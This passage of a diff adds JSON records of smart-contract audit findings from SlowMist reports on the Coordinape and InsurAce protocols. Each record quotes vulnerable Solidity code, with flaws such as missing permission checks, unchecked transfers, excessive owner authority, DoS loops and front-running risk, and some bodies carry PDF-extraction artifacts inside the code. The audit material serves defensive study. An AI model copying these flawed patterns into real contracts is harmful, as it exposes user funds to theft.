>= 300) variableFee = baseFee + 150; // 2.50% @ 80% yield ratio else if (yieldRatio >= 200) variableFee = baseFee + 175; // 2.75% @ 80% yield ratio else if (yieldRatio >= 100) variableFee = baseFee + 200; // 3.00% @ 80% yield ratio else } variableFee = baseFee + 250; // 3.50% @ 0% yield ratio", + "labels": [ + "SlowMist", + "Coordinape protocol", + "Type: Authority Control Vulnerability", + "Severity: Suggestion" + ] + }, + { + "title": "Business logic is not clear", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Coordinape protocol_en-us.pdf", + "body": "The _issueInvite function will execute the mint logic, but the burn is annotated in _revokeInvite, the business logic is not clear. coordinape-protocol/contracts/circles_obsolete/CoordinapeCircle.sol#L158-L175 function _issueInvite(address recipient, uint8 role) internal { Counters.increment(_inviteIds); uint256 tokenId = Counters.current(_inviteIds); _mint(recipient, tokenId); _roles[tokenId] = role; 20 _invites[recipient] = tokenId; _vouches[recipient] = 0; emit InviteIssued(recipient, role); } function _revokeInvite(address recipient) internal { uint256 tokenId = _invites[recipient]; _inactiveMembers.increment(); //_burn(tokenId); _roles[tokenId] = 0; _invites[recipient] = 0; emit InviteRevoked(recipient, 0); } _epochEnds is never initialized, and used in _epochInProgress function. coordinape-protocol/contracts/circles_obsolete/CoordinapeCircle.sol#L155 function _epochInProgress() internal view returns (bool) { uint256 epochId = Counters.current(_epochIds); // return epochId > 0 && !CoordinapeEpoch(_epochs[epochId]).ended(); return epochId > 0 && block.number < _epochEnds[epochId]; } _epochState is never initialized. and it is used in state function. coordinape-protocol/contracts/circles_obsolete/CoordinapeCircle.sol#L105 function state(uint256 _epoch) external view returns (uint8) { return _epochState[_epoch]; } The address passed in by the _migrate function is address(this), which means migrating to the address(this) contract, the logic here is not clear. coordinape-protocol/contracts/ApeProtocol/wrapper/beacon/ApeVault.sol#L166-L169 21 function apeMigrate() external onlyOwner returns(uint256 migrated){ migrated = _migrate(address(this)); vault = VaultAPI(registry.latestVault(address(token))); } migrated = _deposit(address(this), account, withdrawn, false); account is address(this), the logic here is wrong coordinape-protocol/contracts/ApeProtocol/wrapper/beacon/BaseWrapperImplementation.sol#L387-L427 function _migrate(address account) internal returns (uint256) { return _migrate(account, MIGRATE_EVERYTHING); } function _migrate(address account, uint256 amount) internal returns (uint256) { // NOTE: In practice, it was discovered that <50 was the maximum we've see for this variance return _migrate(account, amount, 0); } function _migrate( address account, uint256 amount, uint256 maxMigrationLoss ) internal returns (uint256 migrated) { VaultAPI _bestVault = bestVault(); // NOTE: Only override if we aren't migrating everything uint256 _depositLimit = _bestVault.depositLimit(); uint256 _totalAssets = _bestVault.totalAssets(); if (_depositLimit <= _totalAssets) return 0; // Nothing to migrate (not a failure) uint256 _amount = amount; if (_depositLimit < UNCAPPED_DEPOSITS && _amount < WITHDRAW_EVERYTHING) { // Can only deposit up to this amount uint256 _depositLeft = _depositLimit.sub(_totalAssets); if (_amount > _depositLeft) _amount = _depositLeft; } 22 if (_amount > 0) { // NOTE: `false` = don't withdraw from `_bestVault` uint256 withdrawn = _withdraw(account, address(this), _amount, false); if (withdrawn == 0) return 0; // Nothing to migrate (not a failure) // NOTE: `false` = don't do `transferFrom` because it's already local migrated = _deposit(address(this), account, withdrawn, false); // NOTE: Due to the precision loss of certain calculations, there is a small inefficency // on how migrations are calculated, and this could lead to a DoS issue. Hence, this // value is made to be configurable to allow the user to specify how much is acceptable require(withdrawn.sub(migrated) <= maxMigrationLoss); } // else: nothing to migrate! (not a failure) } The return value of decimals is 0, and developers need to conrm the business logic here. coordinape-protocol/contracts/circles_obsolete/CoordinapeEpoch.sol#L143-L145 function decimals() public pure override returns (uint8) { return 0; }", + "labels": [ + "SlowMist", + "Coordinape protocol", + "Type: Others", + "Severity: High" + ] + }, + { + "title": "Coding standards issues 23", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Coordinape protocol_en-us.pdf", + "body": "Executed rst _call(id, _target, _data); and then executed timestamps[id] = _DONE_TIMESTAMP; , which does not meet the specication(Checks-Eects-Interactions). coordinape-protocol/contracts/ApeProtocol/TimeLock.sol#L72-L73 function execute(address _target, bytes calldata _data, bytes32 _predecessor, bytes32 _salt, uint256 _delay) external onlyOwner { bytes32 id = hashOperation(_target, _data, _predecessor, _salt); require(isReadyCall(id), \"TimeLock: Not ready for execution or executed\"); require(_predecessor == bytes32(0) || isDoneCall(_predecessor), \"TimeLock: Predecessor call not executed\"); _call(id, _target, _data); timestamps[id] = _DONE_TIMESTAMP; } function _call( bytes32 id, address target, bytes calldata data ) internal { (bool success, ) = target.call(data); require(success, \"Timelock: underlying transaction reverted\"); emit CallExecuted(id, target, data); }", + "labels": [ + "SlowMist", + "Coordinape protocol", + "Type: Others", + "Severity: Suggestion" + ] + }, + { + "title": "The external call does not judge the return value 24", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Coordinape protocol_en-us.pdf", + "body": "The external call in the _withdraw function does not evaluate the return value E.g vaults[id].transferFrom , vault.transfer , IERC20(_token).transfer If the transferFrom function and transfer of the externally called token contract return false, the code logic will be wrong. coordinape-protocol/contracts/ApeProtocol/wrapper/beacon/BaseWrapperImplementation.sol#L353-L362 function _withdraw( address sender, address receiver, uint256 amount, // if `MAX_UINT256`, just withdraw everything bool withdrawFromBest // If true, also withdraw from `_bestVault` ) internal returns (uint256 withdrawn) { VaultAPI _bestVault = bestVault(); VaultAPI[] memory vaults = allVaults(); _updateVaultCache(vaults); // NOTE: This loop will attempt to withdraw from each Vault in `allVaults` that `sender` // is deposited in, up to `amount` tokens. The withdraw action can be expensive, // so it if there is a denial of service issue in withdrawing, the downstream usage // of this wrapper contract must give an alternative method of withdrawing using // this function so that `amount` is less than the full amount requested to withdraw // (e.g. \"piece-wise withdrawals\"), leading to less loop iterations such that the // DoS issue is mitigated (at a tradeoff of requiring more txns from the end user). for (uint256 id = 0; id < vaults.length; id++) { if (!withdrawFromBest && vaults[id] == _bestVault) { continue; // Don't withdraw from the best } 25 // Start with the total shares that `sender` has uint256 availableShares = vaults[id].balanceOf(sender); // Restrict by the allowance that `sender` has to this contract // NOTE: No need for allowance check if `sender` is this contract if (sender != address(this)) { availableShares = Math.min(availableShares, vaults[id].allowance(sender, address(this))); } // Limit by maximum withdrawal size from each vault availableShares = Math.min(availableShares, vaults[id].maxAvailableShares()); if (availableShares > 0) { // Intermediate step to move shares to this contract before withdrawing // NOTE: No need for share transfer if this contract is `sender` // if (sender != address(this)) vaults[id].transferFrom(sender, address(this), availableShares); if (amount != WITHDRAW_EVERYTHING) { // Compute amount to withdraw fully to satisfy the request uint256 estimatedShares = amount .sub(withdrawn) // NOTE: Changes every iteration .mul(10**uint256(vaults[id].decimals())) .div(vaults[id].pricePerShare()); // NOTE: Every Vault is different // Limit amount to withdraw to the maximum made available to this contract // NOTE: Avoid corner case where `estimatedShares` isn't precise enough // NOTE: If `0 < estimatedShares < 1` but `availableShares > 1`, this will withdraw more than necessary if (estimatedShares > 0 && estimatedShares < availableShares) { if (sender != address(this)) vaults[id].transferFrom(sender, address(this), estimatedShares); withdrawn = withdrawn.add(vaults[id].withdraw(estimatedShares)); } else { if (sender != address(this)) vaults[id].transferFrom(sender, address(this), availableShares); 26 withdrawn = withdrawn.add(vaults[id].withdraw(availableShares)); } } else { if (sender != address(this)) vaults[id].transferFrom(sender, address(this), availableShares); withdrawn = withdrawn.add(vaults[id].withdraw()); } // Check if we have fully satisfied the request // NOTE: use `amount = WITHDRAW_EVERYTHING` for withdrawing everything if (amount <= withdrawn) break; // withdrawn as much as we needed } } // If we have extra, deposit back into `_bestVault` for `sender` // NOTE: Invariant is `withdrawn <= amount` if (withdrawn > amount && withdrawn.sub(amount) > _bestVault.pricePerShare().div(10**_bestVault.decimals())) { // Don't forget to approve the deposit if (token.allowance(address(this), address(_bestVault)) < withdrawn.sub(amount)) { token.safeApprove(address(_bestVault), UNLIMITED_APPROVAL); // Vaults are trusted } _bestVault.deposit(withdrawn.sub(amount), sender); withdrawn = amount; } // `receiver` now has `withdrawn` tokens as balance if (receiver != address(this)) token.safeTransfer(receiver, withdrawn); } coordinape-protocol/contracts/ApeProtocol/ApeDistributor.sol#L147 function tapEpochAndDistribute( address _vault, bytes32 _circle, address _token, address[] calldata _users, 27 uint256[] calldata _amounts, uint256 _amount, uint8 _tapType) external { require(_users.length == _amounts.length, \"ApeDistributor: Array lengths do not match\"); require(sum(_amounts) == _amount, \"ApeDistributor: Amount does not match sum of values\"); _tap(_vault, _circle, _token, _amount, _tapType, bytes32(type(uint256).max)); for (uint256 i = 0; i < _users.length; i++) IERC20(_token).transfer(_users[i], _amounts[i]); } coordinape-vesting-contracts/contracts/Vesting.sol#L77-L99 function fetchTokens(uint256 _amount) external onlyOwner { IERC20(co).transfer(msg.sender, _amount); } function claim(uint256 _index) external override { uint256 _now = block.timestamp; Vehicule storage vehicule = vehicules[msg.sender][_index]; uint256 upfront = _claimUpfront(vehicule); uint256 start = vehicule.start; if (start == 0) revert(\"Vesting: vehicule does not exist\"); require(_now > start, \"Vesting: cliff !started\"); uint256 end = vehicule.end; uint256 elapsed = min(end, _now) - start; uint256 maxDelta = end - start; // yield = amount * delta / vest_duration - claimed_amount uint256 yield = (vehicule.amount * elapsed / maxDelta) - vehicule.claimed; vehicule.claimed += yield; IERC20(co).transfer(msg.sender, yield + upfront); 28 emit YieldClaimed(msg.sender, yield); }", + "labels": [ + "SlowMist", + "Coordinape protocol", + "Type: Unsafe External Call Audit", + "Severity: Medium" + ] + }, + { + "title": "Excessive authority issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Coordinape protocol_en-us.pdf", + "body": "Owner can transfer assets in the contract. coordinape-protocol/contracts/ApeProtocol/wrapper/beacon/ApeVault.sol#L129 function apeWithdrawSimpleToken(uint256 _amount) public onlyOwner { simpleToken.safeTransfer(msg.sender, _amount); } coordinape-protocol/contracts/ApeProtocol/wrapper/beacon/ApeVault.sol#L139 function apeWithdraw(uint256 _shareAmount, bool _underlying) external onlyOwner { uint256 underlyingAmount = shareValue(_shareAmount); require(underlyingAmount <= underlyingValue, \"underlying amount higher than vault value\"); address router = ApeRegistry(apeRegistry).router(); underlyingValue -= underlyingAmount; vault.safeTransfer(router, _shareAmount); ApeRouter(router).delegateWithdrawal(owner(), address(this), vault.token(), _shareAmount, _underlying); } 29 coordinape-protocol/contracts/ApeProtocol/wrapper/beacon/ApeVault.sol#L154 function exitVaultToken(bool _underlying) external onlyOwner { underlyingValue = 0; uint256 totalShares = vault.balanceOf(address(this)); address router = ApeRegistry(apeRegistry).router(); vault.safeTransfer(router, totalShares); ApeRouter(router).delegateWithdrawal(owner(), address(this), vault.token(), totalShares, _underlying); } Owner can transfer the tokens in the contract. coordinape-vesting-contracts/contracts/Vesting.sol#L77 function fetchTokens(uint256 _amount) external onlyOwner { IERC20(co).transfer(msg.sender, _amount); }", + "labels": [ + "SlowMist", + "Coordinape protocol", + "Type: Authority Control Vulnerability", + "Severity: High" + ] + }, + { + "title": "Lack of permission checks 30", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - Coordinape protocol_en-us.pdf", + "body": "The createApeVault function does not perform permission checks. Anyone can create ApeVault. If the incoming parameters are malicious (malicious Token or incompatible Token), it will aect the funds in the project. coordinape-protocol/contracts/ApeProtocol/wrapper/beacon/ApeVaultFactory.sol#L22-L27 function createApeVault(address _token, address _simpleToken) external { bytes memory data = abi.encodeWithSignature(\"init(address,address,address,address,address)\", apeRegistry, _token, yearnRegistry, _simpleToken, msg.sender); ApeBeacon proxy = new ApeBeacon(beacon, msg.sender, data); vaultRegistry[address(proxy)] = true; emit VaultCreated(address(proxy)); }", + "labels": [ + "SlowMist", + "Coordinape protocol", + "Type: Authority Control Vulnerability", + "Severity: Low" + ] + }, + { + "title": "4.3.1.1 Reordering attack risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "When the owner calls preparePaymentForPayout, it will go to uniswap to calculate the required amountIn, and then perform the swap operation according to the amountIn. There is a risk of rearrangement attacks that may cause losses in the InsurAce pool. It is recommended to check the slippage of swap. Reference https://www.odaily.com/post/5162888 https://medium.com/coinmonks/demystify-the-dark-forest-on-ethereum-sandwich-attacks-5a3ae c9fa33e contracts/pool/StakersPool.sol function claimPayout( address _fromToken, address _paymentToken, uint256 _settleAmtPT, address _claimTo, uint256 _claimId ) external override allowedCaller { require(_fromToken == poolToken, \"CP:1\"); 23 if (_settleAmtPT == 0) { return; } uint256 temp = _getTokenforExactPaymentToken(_fromToken, _paymentToken, _settleAmtPT); uint256 amountInMax = Math.min(stakedAmount, temp.mul(11).div(10)); uint256 convertOut = _convertTokenforExactPaymentToken(_fromToken, _paymentToken, _settleAmtPT, amountInMax); stakedAmount = stakedAmount.sub(convertOut); claimPayouts.push(convertOut); claimPayoutsClaimId.push(_claimId); _transferTokenTo(_paymentToken, _settleAmtPT, _claimTo, _claimId); } function _convertTokenforExactPaymentToken( address _tokenFrom, address _tokenTo, uint256 _amountOut, uint256 _amountInMax ) private returns (uint256) { require(_tokenFrom != _tokenTo, \"CT2EPT:1\"); address[] memory path = new address[](2); uint256[] memory ret; if (_tokenFrom == Constant.ETHTOKENADDRESS) { path[0] = uniswapRouter.WETH(); path[1] = _tokenTo; ret = uniswapRouter.swapETHForExactTokens{value: _amountInMax}( _amountOut, path, address(this), block.timestamp + 120 //solhint-disable-linenot-rely-on-time ); return ret[0]; } if (_tokenTo == Constant.ETHTOKENADDRESS) { path[0] = _tokenFrom; path[1] = uniswapRouter.WETH(); IERC20Upgradeable(path[0]).approve(Constant.UNISWAPV2_ROUTER_ADDRESS, _amountInMax); ret = uniswapRouter.swapTokensForExactETH( _amountOut, _amountInMax, path, 24 address(this), block.timestamp + 120 //solhint-disable-linenot-rely-on-time ); return ret[0]; } path[0] = _tokenFrom; path[1] = _tokenTo; IERC20Upgradeable(path[0]).approve(Constant.UNISWAPV2_ROUTER_ADDRESS, _amountInMax); ret = uniswapRouter.swapTokensForExactTokens( _amountOut, _amountInMax, path, address(this), block.timestamp + 120 //solhint-disable-linenot-rely-on-time ); return ret[0]; } contracts/pool/StakersPool.sol function _getTokenforExactPaymentToken( address _tokenFrom, address _tokenTo, uint256 _amount ) private view returns (uint256) { if (_tokenFrom == _tokenTo) { return _amount; } address[] memory path = new address[](2); if (_tokenFrom == Constant.ETHTOKENADDRESS) { path[0] = uniswapRouter.WETH(); } else { path[0] = _tokenFrom; } if (_tokenTo == Constant.ETHTOKENADDRESS) { path[1] = uniswapRouter.WETH(); } else { path[1] = _tokenTo; } 25 uint256[] memory ret = uniswapRouter.getAmountsIn(_amount, path); return ret[0]; } Fix Status: The issues has been fixed.", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: High" + ] + }, + { + "title": "4.3.1.2 Missing permission check", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "The addCoverOwner function does not perform permission checking, any user can call this function to add owner. It is recommended to add permission check code. contracts/cover/CoverData.sol function addCoverOwner(address owner) public { require(owner != address(0), \"ACO: 1\"); require(!allCoverOwnerFlagMap[owner], \"ACO: 2\"); allCoverOwnerList.push(owner); allCoverOwnerFlagMap[owner] = true; } Fix Status: The issues has been fixed.", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: High" + ] + }, + { + "title": "4.3.2.1 DoS issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "_getDelAccuRwAmtPS has 3 while loop nestings, which will be affected by the parameters of lastScheduleCounter, gRewardTokenRatePerStakedTokenArray, _unstakeLockArrayBlockPerStaker, and dos due to more users or more mining cycles added. contracts/staking/ScheduledMiningProgram.sol function _getDelAccuRwAmtPS( uint256 _lastCalculatedBlockPerStaker, uint256 _stakedAmtPerStaker, uint256[] memory _unstakeLockArrayBlockPerStaker, uint256[] memory _unstakeLockArrayAmtPerStaker 26 ) private view returns (uint256) { console.log(\"getDeltaAccumulativeRewardAmtPerStaker++\"); console.log(_lastCalculatedBlockPerStaker); console.log(_stakedAmtPerStaker); console.log(_unstakeLockArrayBlockPerStaker.length); uint256 retV = 0; //gothruthelistofallschedules uint256 scheduleIndex = lastScheduleCounter; while (scheduleIndex >= 1) { if (_lastCalculatedBlockPerStaker >= endMiningBlockPerSchedule[scheduleIndex]) { break; } //narrowdownblockdelta uint256 minWall = Math.max(_lastCalculatedBlockPerStaker, startMiningBlockPerSchedule[scheduleIndex]); uint256 maxWall = Math.min(block.number, endMiningBlockPerSchedule[scheduleIndex]); console.log(\"minWall: \", minWall); console.log(\"maxWall: \", maxWall); if (minWall >= maxWall) { scheduleIndex = scheduleIndex.sub(1); continue; } uint256 rateChangeIndex = gRewardTokenRatePerStakedTokenArray.length; if (rateChangeIndex == 0) { break; } uint256 rewardAccumulatedBetweenWalls = 0; while (rateChangeIndex > 0) { uint256 blockNumber = gRewardTokenRatePerStakedTokenArray[rateChangeIndex - 1]; console.log(\"blockNumber: \", blockNumber); if (blockNumber >= maxWall) { rateChangeIndex = rateChangeIndex.sub(1); continue; } if (blockNumber >= minWall) { uint256 delta = _getDeltaAccumulativeRewardsWithFixRatePerStaker(blockNumber, maxWall, gRewardTokenRatePerStakedTokenMap[blockNumber], _stakedAmtPerStaker, _unstakeLockArrayBlockPerStaker, _unstakeLockArrayAmtPerStaker); rewardAccumulatedBetweenWalls = delta.add(rewardAccumulatedBetweenWalls); maxWall = blockNumber; rateChangeIndex = rateChangeIndex.sub(1); continue; 27 } if (blockNumber < minWall) { uint256 delta = _getDeltaAccumulativeRewardsWithFixRatePerStaker(minWall, maxWall, gRewardTokenRatePerStakedTokenMap[blockNumber], _stakedAmtPerStaker, _unstakeLockArrayBlockPerStaker, _unstakeLockArrayAmtPerStaker); rewardAccumulatedBetweenWalls = delta.add(rewardAccumulatedBetweenWalls); break; } } retV = rewardAccumulatedBetweenWalls.add(retV); scheduleIndex = scheduleIndex.sub(1); } return retV; } Fix Status: This issue has been fixed", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: Medium" + ] + }, + { + "title": "4.3.3.1 Excessive authority issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "Admin has permission to add sender, There is a issues of excessive authority. It is recommended to set Owner to Timelock contract or governance contract. contracts/token/INSURToken.sol function addSender(address _from) external onlyAdmin { if (1 == transferFromAllowedList[_from]) { return; } membersFrom.push(_from); transferFromAllowedList[_from] = 1; } The admin can remove the sender arbitrarily, and there is a risk of denial of service. When the admin adds too many senders, the data in the memberFrom array will be very large, so when the removeSender is removed, the depth of the for loop call will be too large, resulting in The call fails. It 28 is recommended to change memberFrom to storage in the way of mapping, and use address as the key to avoid dos caused by this type of looping to obtain data. contracts/token/INSURToken.sol function removeSender(address _from) external onlyAdmin { uint256 arrayLength = membersFrom.length; uint256 indexToBeDeleted; bool toDelete = false; for (uint256 i = 0; i < arrayLength; i++) { if (membersFrom[i] == _from) { indexToBeDeleted = i; toDelete = true; break; } } if (!toDelete) { return; } //ifindextobedeletedisnotthelastindex,swapposition. if (indexToBeDeleted < arrayLength - 1) { membersFrom[indexToBeDeleted] = membersFrom[arrayLength - 1]; } //wecannowreducethearraylengthby1 membersFrom.pop(); delete transferFromAllowedList[_from]; } MINTER can call mint arbitrarily, and there is no upper limit for minting. contracts/token/INSURToken.sol function mint(address to, uint256 amount) public virtual { require(hasRole(MINTER_ROLE, _msgSender()), \"ERC20PresetMinterPauser: must have minter role to mint\"); _mint(to, amount); } Fix Status: This issue has been confirmed after communication and feedback, the minting and Owner permissions may be transferred to address(0) in the future. 29 Owner can set lpTokenMinter and lpTokenBurner. The roles of lpTokenMinter and lpTokenBurner can mint and burn the user's LP. There is a issues of excessive authority. It is recommended to set Owner to Timelock contract or governance contract. And make sure the lpTokenMinter and lpTokenBurner cannot be EOA account. contracts/token/LPToken.sol function setup(address _lpTokenMinter, address _lpTokenBurner) external onlyOwner { require(_lpTokenMinter != address(0), \"S:1\"); lpTokenMinter = _lpTokenMinter; require(_lpTokenBurner != address(0), \"S:2\"); lpTokenBurner = _lpTokenBurner; } Fix Status: This issue has been communicated back to the project team. The project team is aware of this and will adopt governance mechanism to secure the permission when the governance module goes live.", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: Low" + ] + }, + { + "title": "4.3.3.2 DoS issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "The incoming _callers will add data to allowedCallersArray[_callee]. If too many _callers are added at one time, it will cause Out of Gas. When there are too many data in allowedCallersArray[_callee], the setAllowdCallersPerCallee function will DoS. It is recommended to set the data Use the mapping method to store instead, avoid using the for loop to find the value. contracts/secmatrix/SecurityMatrix.sol function addAllowdCallersPerCallee(address _callee, address[] memory _callers) external onlyOwner { require(_callers.length != 0, \"AACPC:1\"); require(allowedCallersArray[_callee].length != 0, \"AACPC:2\"); for (uint256 index = 0; index < _callers.length; index++) { console.log(\"_callers index: \", _callers[index], index); allowedCallersArray[_callee].push(_callers[index]); 30 allowedCallersMap[_callee][_callers[index]] = 1; } } contracts/secmatrix/SecurityMatrix.sol function setAllowdCallersPerCallee(address _callee, address[] memory _callers) external onlyOwner { console.log(\"_callee: \", _callee); console.log(\"_callers.length: \", _callers.length); require(_callers.length != 0, \"SACPC:1\"); //checkifcalleeexist if (allowedCallersArray[_callee].length == 0) { //notexist,soaddcallee allowedCallees.push(_callee); } else { //ifcalleeexist,thenpurgedata for (uint256 i = 0; i < allowedCallersArray[_callee].length; i++) { delete allowedCallersMap[_callee][allowedCallersArray[_callee][i]]; } delete allowedCallersArray[_callee]; } //andoverwrite for (uint256 index = 0; index < _callers.length; index++) { console.log(\"_callers index: \", _callers[index], index); allowedCallersArray[_callee].push(_callers[index]); allowedCallersMap[_callee][_callers[index]] = 1; } } Fix Status: This issue has been communicated back to project team. The project team is aware of this issue and the method will only be used by admin when setting up security matrix. The setAllowdCallersPerCallee method will be used to create security matrix entries, and the addAllowdCallersPerCallee method will be used to add delta matrix if needed.", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: Low" + ] + }, + { + "title": "4.3.3.3 Repeatable call risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "If Owner call setupVestors function multiple times, there will be duplicate vestors in the vestor 31 array.When the setupVestors is called multiple times, if the vestor calls withdrawRewardPV intentionally or unintentionally during the calling process, initRewardPV and insurVestingTotalPV may get unexpected values. If setupVestors can be called multiple times, then when the owner is called, the vestor also calls withdrawRewardPV. In this case, the gas price of calling withdrawRewardPV is higher than that of calling setupVestors. Will execute withdrawRewardPV first, and then execute setupVestors, the data will appear unexpected. Competitive conditions similar to approve. contracts/fixedvesting/FixedVesting.sol function setupVestors( address[] memory _vestors, uint256[] memory _vestingRewardPV, uint256[] memory _initRewardPV ) external onlyOwner { require(_vestors.length == _vestingRewardPV.length, \"AV:1\"); require(_initRewardPV.length == _vestingRewardPV.length, \"AV:2\"); for (uint256 i = 0; i < _vestors.length; i++) { address vestor = _vestors[i]; vestors.push(vestor); initRewardPV[vestor] = _initRewardPV[i]; insurVestingTotalPV[vestor] = _vestingRewardPV[i]; } } Fix Status: This issue has been fixed.", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: Low" + ] + }, + { + "title": "4.3.3.4 Overflow risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "safemath should be used to calculate the length of the array to avoid overflow issues: if Currency is not added, the removal may cause overflow issues. contracts/cover/CoverConfig.sol 32 function removeCurrency(address currency) external allowedCaller { require(currency != address(0), \"RC: 1\"); uint256 arrayLength = currencyValidAddressArray.length; uint256 indexToBeDeleted; bool toDelete = false; for (uint256 i = 0; i < arrayLength; i++) { if (currencyValidAddressArray[i] == currency) { indexToBeDeleted = i; toDelete = true; break; } } if (!toDelete) { require(toDelete, \"RC: 1\"); } //ifindextobedeletedisnotthelastindex,swapposition. if (indexToBeDeleted < arrayLength - 1) { currencyValidAddressArray[indexToBeDeleted] = currencyValidAddressArray[arrayLength - 1]; } //wecannowreducethearraylengthby1 currencyValidAddressArray.pop(); delete currencyValidAddressMap[currency]; } Fix Status: This issue has been fixed.", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: Low" + ] + }, + { + "title": "4.3.3.5 FlashLoan attack risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "Unstake is judged by >= when there are already voting tasks. If claimsAssessorMinUnstakeTime is 0, then there will be a issue of using flashloan to vote. contracts/claim/Claim.sol function unstake(address insurTokenAddress, uint256 insurAmount) external payable whenNotPaused nonReentrant { require(insurTokenAddress != address(0), \"USTK: 1\"); address payable assessor = _msgSender(); ClaimReward(crw).recalculateAssessor(assessor); bool canUnstake = false; 33 uint256 latestVoteTimestamp = ClaimAssessor(asr).getLatestVoteTimestamp(assessor); if (latestVoteTimestamp == 0) { canUnstake = true; } else { if ( block.timestamp >= ClaimAssessor(asr).getVoteStakePeriodEndTime(assessor) //solhint-disable-line not-rely-on-time canUnstake = true; ) { } } require(canUnstake, \"USTK: 2\"); require(insurAmount <= ClaimAssessor(asr).getNumOfVotes(assessor), \"USTK: 3\"); require(IERC20Upgradeable(insurTokenAddress).balanceOf(address(this)) >= insurAmount, \"USTK: 4\"); ClaimAssessor(asr).decreaseVotes(assessor, insurAmount); IERC20Upgradeable(insurTokenAddress).safeTransfer(assessor, insurAmount); } Fix Status: This issue has been fixed.", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: Low" + ] + }, + { + "title": "4.3.4.1 Token compatibility risk", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "IERC20Upgradeable(stakedToken).safeTransferFrom(_msgSender(), address(this), _amount); The transfer operation of an external token is adopted. It is recommended to pay attention to the compatibility of the project and the token when adding a new token, such as: token return Value issues, fake token recharge issues, compatibility issues with deflationary tokens, etc. contracts/staking/StakeOps.sol function stakeTokens(uint256 _amount, address _token) external payable whenNotPaused nonReentrant { require(IMiningProgram(iMiningProgram).canStake(_amount), \"ST:1\"); address stakedToken = StakersData(stakerDataAddr).stakedToken(); require(_token == stakedToken, \"ST:2\"); 34 if (stakedToken == Constant.ETHTOKENADDRESS) { require(_amount <= msg.value, \"ST:3\"); } else { require(IERC20Upgradeable(stakedToken).balanceOf(_msgSender()) >= _amount, \"ST:4\"); uint256 allowanceAmt = IERC20Upgradeable(stakedToken).allowance(_msgSender(), address(this)); require(allowanceAmt >= _amount, \"ST:5\"); } _reCalcPerStaker(); if (stakedToken != Constant.ETHTOKENADDRESS) { IERC20Upgradeable(stakedToken).safeTransferFrom(_msgSender(), address(this), _amount); } //dispatchtokentopool if (stakedToken == Constant.ETHTOKENADDRESS) { IStakersPool(iStakersPool).addStkAmount{value: _amount}(stakedToken, _amount); } else { IERC20Upgradeable(stakedToken).safeTransfer(iStakersPool, _amount); Fix Status: This issue has been communicated back to project team. The project team is aware of this and has already performed compatibility checks on the staking tokens, such as ETH, WETH, USDC, USDT, DAI, and INSUR, which are all compatible with the relevant standards.", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: Informational" + ] + }, + { + "title": "4.3.4.2 Event log is missing", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "It is recommended to add an event to record securityMatrix changes, applicable to all set functions. function setup(address _securityMatrix) external onlyOwner { require(_securityMatrix != address(0), \"S:1\"); securityMatrix = _securityMatrix; } Fix Status: This issue has been communicated back to project team. The project team will add more event logs in their development, including not limited to \"setup\".", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: Informational" + ] + }, + { + "title": "4.3.4.3 Redundant code", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - InsurAce_en-us.pdf", + "body": "The `if (!toDelete) {require(toDelete, \"RC: 1\"); }` code can be simplified to `require(toDelete, \"RC: 1\");`. 35 contracts/cover/CoverConfig.sol function removeCurrency(address currency) external allowedCaller { require(currency != address(0), \"RC: 1\"); uint256 arrayLength = currencyValidAddressArray.length; uint256 indexToBeDeleted; bool toDelete = false; for (uint256 i = 0; i < arrayLength; i++) { if (currencyValidAddressArray[i] == currency) { indexToBeDeleted = i; toDelete = true; break; } } if (!toDelete) { require(toDelete, \"RC: 1\"); } //ifindextobedeletedisnotthelastindex,swapposition. if (indexToBeDeleted < arrayLength - 1) { currencyValidAddressArray[indexToBeDeleted] = currencyValidAddressArray[arrayLength - 1]; } //wecannowreducethearraylengthby1 currencyValidAddressArray.pop(); delete currencyValidAddressMap[currency]; } Fix Status: This issue has been fixed.", + "labels": [ + "SlowMist", + "InsurAce", + "Severity: Informational" + ] + }, + { + "title": "4.3.4.4 Hard coded issue", + "html_url": "https://github.com/slowmist/Knowledge-Base/tree/master/open-report-V2/smart-contract/SlowMist Audit Report - 